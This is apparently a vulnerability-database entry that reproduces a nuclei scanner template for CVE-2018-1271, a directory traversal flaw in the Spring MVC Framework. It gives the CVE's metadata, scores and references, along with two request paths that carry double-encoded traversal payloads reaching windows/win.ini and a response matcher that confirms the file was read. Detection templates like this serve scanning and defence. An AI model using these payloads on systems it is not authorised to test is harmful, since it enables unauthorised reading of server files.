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Spring MVC Framework - Local File Inclusion

🗓️ 16 Jun 2026 07:13:51Reported by ProjectDiscoveryType 
nuclei
 nuclei🔗 github.com👁 50 Views

Spring MVC Framework - Local File Inclusion CVE-2018-1271 vulnerability allows directory traversal attack through specially crafted URL, leading to unauthorized access or information disclosure

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id: CVE-2018-1271

info:
  name: Spring MVC Framework - Local File Inclusion
  author: hetroublemakr
  severity: medium
  description: Spring MVC Framework versions 5.0 prior to 5.0.5 and versions 4.3 prior to 4.3.15 and older unsupported are vulnerable to local file inclusion because they allow applications to configure Spring MVC to serve static resources (e.g. CSS, JS, images). A malicious user can send a request using a specially crafted URL that can lead a directory traversal attack.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches and updates provided by the Spring MVC Framework to mitigate this vulnerability.
  reference:
    - https://medium.com/@knownsec404team/analysis-of-spring-mvc-directory-traversal-vulnerability-cve-2018-1271-b291bdb6be0d
    - https://pivotal.io/security/cve-2018-1271
    - https://access.redhat.com/errata/RHSA-2018:1320
    - https://nvd.nist.gov/vuln/detail/CVE-2018-1271
    - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 5.9
    cve-id: CVE-2018-1271
    cwe-id: CWE-22
    epss-score: 0.35681
    epss-percentile: 0.98252
    cpe: cpe:2.3:a:vmware:spring_framework:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: vmware
    product: spring_framework
  tags: cve,cve2018,spring,lfi,traversal,vmware,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/static/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'
      - '{{BaseURL}}/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'for 16-bit app support'

      - type: status
        status:
          - 200
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04 Feb 2026 07:00Current
7.6High risk
Vulners AI Score7.6
CVSS 24.3
CVSS 3.15.9
EPSS0.35681
spring mvc lfi vmware directory-traversal unauthorized-access information-disclosure vulnerability
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